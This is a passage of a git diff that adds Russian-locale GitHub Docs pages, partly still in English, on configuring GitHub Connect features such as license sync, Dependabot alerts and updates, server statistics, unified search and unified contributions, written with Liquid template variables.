{% data variables.product.product_name %} передает данные в {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.product_name %}{% ifversion server-statistics %} {% data variables.product.prodname_server_statistics %} | Агрегатные метрики о том, как вы используете {% data variables.product.prodname_ghe_server %}. Полный список метрик см. в статье [{% data variables.product.prodname_server_statistics %}: общие сведения](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected). | Из {% data variables.product.product_name %} в {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %}{% endif %} Унифицированный поиск | Условия поиска, результаты поиска | Из {% data variables.product.prodname_dotcom_the_website %} в {% data variables.product.product_name %}

Из {% data variables.product.product_name %} в {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.product_name %} | Единые вклады | Количество вкладов | Из {% data variables.product.product_name %} в {% data variables.product.prodname_dotcom_the_website %} | {% data variables.product.prodname_dotcom_the_website %} | + +## Дополнительные материалы + +- Раздел [Корпоративные учетные записи](/graphql/guides/managing-enterprise-accounts) в документации API GraphQL diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md new file mode 100644 index 000000000000..4f4bff2a2992 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md @@ -0,0 +1,43 @@ +--- +title: Enabling automatic user license sync for your enterprise +intro: 'You can manage license usage across your {% data variables.product.prodname_enterprise %} environments by automatically syncing user licenses from {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' +redirect_from: + - /enterprise/admin/installation/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud + - /enterprise/admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud + - /admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud + - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud +permissions: Enterprise owners can enable automatic user license synchronization. +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - GitHub Connect + - Licensing +shortTitle: Automatic user license sync +--- +## About automatic license synchronization + +{% data reusables.enterprise-licensing.unique-user-licensing-model %} + +{% data reusables.enterprise-licensing.about-license-sync %} For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect#data-transmission-for-github-connect)." + +If you enable automatic user license sync for your enterprise, {% data variables.product.prodname_github_connect %} will automatically synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly.{% ifversion ghes > 3.4 %} You can also synchronize your license data at any time outside of the automatic weekly sync, by manually triggering a license sync job. For more information, see "[Triggering a license sync job](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#triggering-a-license-sync-job)."{% endif %} + +If you use multiple {% data variables.product.prodname_ghe_server %} instances, you can enable automatic license sync between each of your instances and the same organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. + +{% data reusables.enterprise-licensing.view-consumed-licenses %} + +You can also manually upload {% data variables.product.prodname_ghe_server %} user license information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." + +{% data reusables.enterprise-licensing.verified-domains-license-sync %} + +## Enabling license synchronization + +Before enabling license synchronization on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.github-connect-tab %} +1. Under "Server can sync user license count and usage", use the drop-down menu and select **Enabled**. + ![Drop-down menu to enable automatic user license sync](/assets/images/enterprise/site-admin-settings/enable-user-license-drop-down.png) diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md new file mode 100644 index 000000000000..1fa9b46d5e67 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md @@ -0,0 +1,130 @@ +--- +title: Включение Dependabot для предприятия +intro: 'Вы можете разрешить пользователям {% data variables.location.product_location %} находить и устранять уязвимости в зависимостях кода, включив {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} и {% data variables.product.prodname_dependabot_updates %}{% endif %}.' +miniTocMaxHeadingLevel: 3 +shortTitle: Dependabot +redirect_from: + - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server + - /enterprise/admin/configuration/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server + - /enterprise/admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server + - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server + - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server + - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account + - /admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise +permissions: 'Enterprise owners can enable {% data variables.product.prodname_dependabot %}.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Security + - Dependency graph + - Dependabot +ms.openlocfilehash: 009b6199e0212c531caaf48b220342853d656248 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135674' +--- +## Сведения о {% data variables.product.prodname_dependabot %} для {% data variables.product.product_name %} + +{% data variables.product.prodname_dependabot %} помогает пользователям {% data variables.location.product_location %} находить и устранять уязвимости в зависимостях. {% ifversion ghes %} Вы можете включить {% data variables.product.prodname_dependabot_alerts %} для уведомления пользователей об уязвимых зависимостях и {% data variables.product.prodname_dependabot_updates %} для устранения уязвимостей и обновления зависимостей до последней версии. + +{% data variables.product.prodname_dependabot %} — это лишь одна из многих функций, доступных для усиления безопасности цепочки поставок для {% data variables.location.product_location %}. Дополнительные сведения о других функциях см. в разделе [Сведения о безопасности цепочки поставок для вашего предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise). + +### Сведения о {% data variables.product.prodname_dependabot_alerts %} +{% endif %} + +{% data reusables.dependabot.dependabot-alerts-beta %} + +С помощью {% data variables.product.prodname_dependabot_alerts %} {% data variables.product.prodname_dotcom %} определяет небезопасные зависимости в репозиториях и создает оповещения для {% data variables.location.product_location %}, используя данные из {% data variables.product.prodname_advisory_database %} и службы графа зависимостей. + +{% data reusables.repositories.tracks-vulnerabilities %} + +После включения {% data variables.product.prodname_dependabot_alerts %} для вашего предприятия данные об уязвимостях синхронизируются из {% data variables.product.prodname_advisory_database %} с вашим экземпляром один раз в час. Синхронизируются только советы, проверенные {% data variables.product.company_short %}. {% data reusables.security-advisory.link-browsing-advisory-db %} + +Вы также можете в любое время синхронизировать данные уязвимостей вручную. Дополнительные сведения см. в разделе [Просмотр данных об уязвимостях для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise). + +{% note %} + +**Примечание:** При включении {% data variables.product.prodname_dependabot_alerts %} код или сведения о коде из {% data variables.location.product_location %} не передаются в {% data variables.product.prodname_dotcom_the_website %}. + +{% endnote %} + +Когда {% data variables.location.product_location %} получает сведения об уязвимости, он определяет репозитории в {% data variables.location.product_location %}, использующие затронутую версию зависимости, и создает {% data variables.product.prodname_dependabot_alerts %}. Вы можете выбрать, следует ли автоматически уведомлять пользователей о новых {% data variables.product.prodname_dependabot_alerts %}. + +Для репозиториев с включенными {% data variables.product.prodname_dependabot_alerts %} сканирование активируется при любой отправке в ветвь по умолчанию, которая содержит файл манифеста или файл блокировки. Кроме того, при добавлении новой записи уязвимости в {% data variables.location.product_location %} {% data variables.product.product_name %} сканирует все существующие репозитории в {% data variables.location.product_location %} и создает оповещения для всех уязвимых репозиториев. Дополнительные сведения см. в статье "[Сведения о {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)". + +{% ifversion ghes %} +### Сведения о {% data variables.product.prodname_dependabot_updates %} + +{% data reusables.dependabot.beta-security-and-version-updates %} + +После включения {% data variables.product.prodname_dependabot_alerts %} можно включить {% data variables.product.prodname_dependabot_updates %}. Если {% data variables.product.prodname_dependabot_updates %} включены для {% data variables.location.product_location %}, пользователи могут настроить репозитории таким образом, чтобы их зависимости обновлялись и сохранялись в безопасности автоматически. + +{% note %} + +**Примечание.** Для {% data variables.product.prodname_dependabot_updates %} в {% data variables.product.product_name %} требуется {% data variables.product.prodname_actions %} с локальными средствами выполнения тестов. + +{% endnote %} + +По умолчанию средствам выполнения тестов {% data variables.product.prodname_actions %}, используемым {% data variables.product.prodname_dependabot %}, требуется доступ к Интернету, чтобы скачивать обновленные пакеты из вышестоящих диспетчеров пакетов. Для {% data variables.product.prodname_dependabot_updates %} на платформе {% data variables.product.prodname_github_connect %} доступ к Интернету предоставляет средствам выполнения тестов маркер, который позволяет получить доступ к зависимостям и рекомендациям, размещенным на {% data variables.product.prodname_dotcom_the_website %}. + +При использовании {% data variables.product.prodname_dependabot_updates %} {% data variables.product.company_short %} автоматически создает запросы на вытягивание для обновления зависимостей двумя способами. + +- **{% data variables.product.prodname_dependabot_version_updates %}** : пользователи добавляют в репозиторий файл конфигурации {% data variables.product.prodname_dependabot %}, чтобы разрешить {% data variables.product.prodname_dependabot %} создавать запросы на вытягивание при выпуске новой версии отслеживаемой зависимости. Дополнительные сведения см. в разделе [Сведения об {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates). +- **{% data variables.product.prodname_dependabot_security_updates %}** : пользователи переключают параметр репозитория, чтобы разрешить {% data variables.product.prodname_dependabot %} создавать запросы на вытягивание, когда {% data variables.product.prodname_dotcom %} обнаруживает уязвимость в одной из зависимостей графа зависимостей для репозитория. Дополнительные сведения см. в разделах [Сведения о {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies) и [Сведения о {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates). +{% endif %} + +## Включение {% data variables.product.prodname_dependabot_alerts %} + +Перед включением {% data variables.product.prodname_dependabot_alerts %}: +- Необходимо включить {% data variables.product.prodname_github_connect %}. Дополнительные сведения см. в разделе [Управление {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect).{% ifversion ghes %} +- Необходимо включить схему зависимостей. Дополнительные сведения см. в разделе [Включение графа зависимостей для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %} {%- ifversion dependabot-updates-github-connect %} +1. В разделе "{% data variables.product.prodname_dependabot %}" справа от пункта "Пользователи могут получать оповещения об уязвимостях для зависимостей кода открытым кодом" нажмите раскрывающееся меню и выберите **Включено без уведомлений**. При необходимости, чтобы включить оповещения с уведомлениями, нажмите **Включено с уведомлениями**. + + ![Снимок экрана: раскрывающееся меню для включения сканирования репозиториев на наличие уязвимостей](/assets/images/enterprise/site-admin-settings/dependabot-alerts-dropdown.png) + +{%- else %} +1. В разделе "Репозитории можно сканировать наличие уязвимостей" нажмите раскрывающееся меню и выберите **Включено без уведомлений**. При необходимости, чтобы включить оповещения с уведомлениями, нажмите **Включено с уведомлениями**. + ![Раскрывающееся меню для включения сканирования репозиториев на наличие уязвимостей](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) {%- endif %} {% tip %} + + **Совет.** В течение первых нескольких дней рекомендуется настроить {% data variables.product.prodname_dependabot_alerts %} без уведомлений, чтобы избежать перегрузки сообщений электронной почты. Через несколько дней можно включить уведомления для получения {% data variables.product.prodname_dependabot_alerts %} в обычном режиме. + + {% endtip %} + +{% ifversion dependabot-updates-github-connect %} +## Включение {% data variables.product.prodname_dependabot_updates %} + +После включения {% data variables.product.prodname_dependabot_alerts %} для предприятия можно включить {% data variables.product.prodname_dependabot_updates %}. + +{% ifversion ghes %} {% data reusables.dependabot.enabling-actions-for-ghes %} Дополнительные сведения см. в разделе [Начало работы с {% data variables.product.prodname_actions %} для GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server). + +{% data variables.product.prodname_dependabot_updates %} не поддерживаются в {% data variables.product.product_name %}, если ваше предприятие использует кластеризацию. +{% endif %} + +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} +1. В разделе "Безопасность" выберите **{% data variables.product.prodname_dependabot_security_updates %}** . + + ![Снимок экрана: флажок для включения или отключения {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/enterprise/management-console/enable-dependabot-updates.png) + +{% data reusables.enterprise_management_console.save-settings %} +1. Нажмите **Перейти к экземпляру**. +1. Настройте выделенные локальные средства выполнения тестов для создания запросов на вытягивание, которые будут обновлять зависимости. Это необходимо, так как рабочие процессы используют определенную метку средства выполнения. Дополнительные сведения см. в разделе [Управление локальными средствами выполнения тестов для {% data variables.product.prodname_dependabot_updates %} на предприятии](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates). +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %} +1. В разделе "{% data variables.product.prodname_dependabot %}" справа от параметра "Пользователи могут выполнять обновление до неуязвимых зависимостей открытого кода" нажмите **Включить**. + + ![Снимок экрана: раскрывающееся меню для включения обновления уязвимых зависимостей](/assets/images/enterprise/site-admin-settings/dependabot-updates-button.png) + +{% endif %} {% ifversion ghes %} + +При включении {% data variables.product.prodname_dependabot_alerts %} следует также учитывать настройку {% data variables.product.prodname_actions %} для {% data variables.product.prodname_dependabot_security_updates %}. Эта функция позволяет разработчикам устранять уязвимости в своих зависимостях. Дополнительные сведения см. в разделе [Управление локальными средствами выполнения тестов для {% data variables.product.prodname_dependabot_updates %} на предприятии](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates). + +Если требуется повышенная безопасность, рекомендуется настроить {% data variables.product.prodname_dependabot %} так, чтобы использовать частные реестры. Дополнительные сведения см. в статье [Управление зашифрованными секретами для {% data variables.product.prodname_dependabot %}](/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot). + +{% endif %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md new file mode 100644 index 000000000000..e42ff2fafe20 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md @@ -0,0 +1,30 @@ +--- +title: Enabling Server Statistics for your enterprise +intro: 'You can analyze your own aggregate data from {% data variables.product.prodname_ghe_server %} and help us improve {% data variables.product.company_short %} products by enabling {% data variables.product.prodname_server_statistics %}.' +versions: + feature: server-statistics +redirect_from: + - /early-access/github/analyze-how-your-team-works-with-server-statistics/about-server-statistics/enabling-server-statistics +topics: + - Enterprise +shortTitle: Server Statistics +--- + +## About {% data variables.product.prodname_server_statistics %} + +{% data variables.product.prodname_server_statistics %} collects aggregate usage data from {% data variables.location.product_location %}, which you can use to better anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. + +{% data variables.product.prodname_server_statistics %} only collects certain aggregate metrics on repositories, issues, pull requests, and other features.{% data variables.product.prodname_dotcom %} content, such as code, issues, comments, or pull request content, is not collected. For more information, see "[About {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)." + +By enabling {% data variables.product.prodname_server_statistics %}, you are also helping to improve {% data variables.product.company_short %}. The aggregated data you will provide helps us understand how our customers are using {% data variables.product.prodname_dotcom %}, and make better and more informed product decisions, ultimately benefiting you. + +## Enabling {% data variables.product.prodname_server_statistics %} + +Before you can enable {% data variables.product.prodname_server_statistics %}, you must first connect your {% data variables.product.prodname_ghe_server %} instance to {% data variables.product.prodname_dotcom_the_website %} through {% data variables.product.prodname_github_connect %}. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@3.1/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)." + +You can disable {% data variables.product.prodname_server_statistics %} from {% data variables.product.prodname_ghe_server %} at any time. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.github-connect-tab %} +4. Under "Share server statistics with GitHub.com", select the dropdown menu and click **Enabled** or **Disabled**. + ![Screenshot of {% data variables.product.prodname_server_statistics %} drop-down menu with disabled or enabled options](/assets/images/help/server-statistics/server-statistics-enable-disable-options.png) diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md new file mode 100644 index 000000000000..e9c67f0fcd16 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md @@ -0,0 +1,54 @@ +--- +title: Enabling unified contributions for your enterprise +shortTitle: Unified contributions +intro: 'You can allow users to include anonymized contribution counts for their work on {% data variables.location.product_location %} in their contribution graphs on {% data variables.product.prodname_dotcom_the_website %}.' +redirect_from: + - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com + - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com + - /enterprise/admin/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /enterprise/admin/installation/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /enterprise/admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-contributions-between-github-enterprise-server-and-githubcom + - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom +permissions: 'Enterprise owners can enable unified contributions between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - GitHub Connect +--- + +{% data reusables.github-connect.beta %} + +## About unified contributions + +As an enterprise owner, you can allow end users to send anonymized contribution counts for their work from {% data variables.location.product_location %} to their {% data variables.product.prodname_dotcom_the_website %} contribution graph. + +After you enable {% data variables.enterprise.prodname_unified_contributions %}, before individual users can send contribution counts from {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, each user must also connect their user account on {% data variables.product.product_name %} with a personal account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." + +{% data reusables.github-connect.sync-frequency %} + +If the enterprise owner disables the functionality or individual users opt out of the connection, the contribution counts from {% data variables.product.product_name %} will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the user reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. + +{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made. + +## Enabling unified contributions + +Before enabling {% data variables.enterprise.prodname_unified_contributions %} on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." + +{% ifversion ghes %} +{% data reusables.github-connect.access-dotcom-and-enterprise %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.business %} +{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} +1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**. + ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} +2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. + +When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. +{% endif %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md new file mode 100644 index 000000000000..196fc8b6b8de --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md @@ -0,0 +1,53 @@ +--- +title: Enabling unified search for your enterprise +shortTitle: Unified search +intro: 'You can allow users to include repositories on {% data variables.product.prodname_dotcom_the_website %} in their search results when searching from {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com + - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com + - /enterprise/admin/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /enterprise/admin/installation/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /enterprise/admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-search-between-github-enterprise-server-and-githubcom + - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom +permissions: 'Enterprise owners can enable unified search between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - GitHub Connect + - GitHub search +--- + +## About {% data variables.enterprise.prodname_unified_search %} + +{% data reusables.github-connect.beta %} + +When you enable unified search, users can view search results from content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.location.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. + +You can choose to allow search results for public repositories on {% data variables.product.prodname_dotcom_the_website %}, and you can separately choose to allow search results for private repositories on {% data variables.product.prodname_ghe_cloud %}. If you enable unified search for private repositories, users can only search private repositories that they have access to and that are owned by the connected organization or enterprise account. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)." + +Users will never be able to search {% data variables.location.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. + +After you enable unified search for {% data variables.location.product_location %}, before individual users can see search results from private repositories on {% data variables.product.prodname_dotcom_the_website %} in {% data variables.location.product_location %}, each user must also connect their user account on {% data variables.product.product_name %} with a user account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." + +Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported. + +## Enabling {% data variables.enterprise.prodname_unified_search %} + +Before you can enable {% data variables.enterprise.prodname_unified_search %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." + +{% ifversion ghes %} +{% data reusables.github-connect.access-dotcom-and-enterprise %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.business %} +{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. Sign into {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} +1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) +1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png) diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/index.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/index.md new file mode 100644 index 000000000000..f0cbe3aeab91 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/index.md @@ -0,0 +1,29 @@ +--- +title: Configuring GitHub Connect +intro: 'With {% data variables.product.prodname_github_connect %}, you can access additional features and workflows by connecting {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' +redirect_from: + - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com + - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com + - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-and-github-com + - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-and-githubcom + - /enterprise/admin/installation/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud + - /enterprise/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud + - /admin/configuration/managing-connections-between-your-enterprise-accounts +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise +children: + - /about-github-connect + - /managing-github-connect + - /enabling-automatic-user-license-sync-for-your-enterprise + - /enabling-dependabot-for-your-enterprise + - /enabling-server-statistics-for-your-enterprise + - /enabling-unified-search-for-your-enterprise + - /enabling-unified-contributions-for-your-enterprise +shortTitle: GitHub Connect +--- + diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/managing-github-connect.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/managing-github-connect.md new file mode 100644 index 000000000000..551ec0e5fff5 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/managing-github-connect.md @@ -0,0 +1,84 @@ +--- +title: Управление GitHub Connect +shortTitle: Manage GitHub Connect +intro: 'Вы можете включить {% data variables.product.prodname_github_connect %} доступ к дополнительным функциям и рабочим процессам для {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com + - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com + - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-to-githubcom + - /enterprise/admin/installation/connecting-github-enterprise-server-to-github-enterprise-cloud + - /enterprise/admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud + - /admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud + - /admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - GitHub Connect + - Infrastructure + - Networking +ms.openlocfilehash: 30a170543b63c390aa8975b1ca57c265bc7fa8fa +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160657' +--- +{% data reusables.github-connect.beta %} + +## Сведения о {% data variables.product.prodname_github_connect %} + +Вы можете получить доступ к дополнительным функциям и рабочим процессам в {% data variables.location.product_location %}, включив {% data variables.product.prodname_github_connect %}. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect). + +При включении {% data variables.product.prodname_github_connect %} вы настраиваете подключение между {% data variables.location.product_location %} и учетной 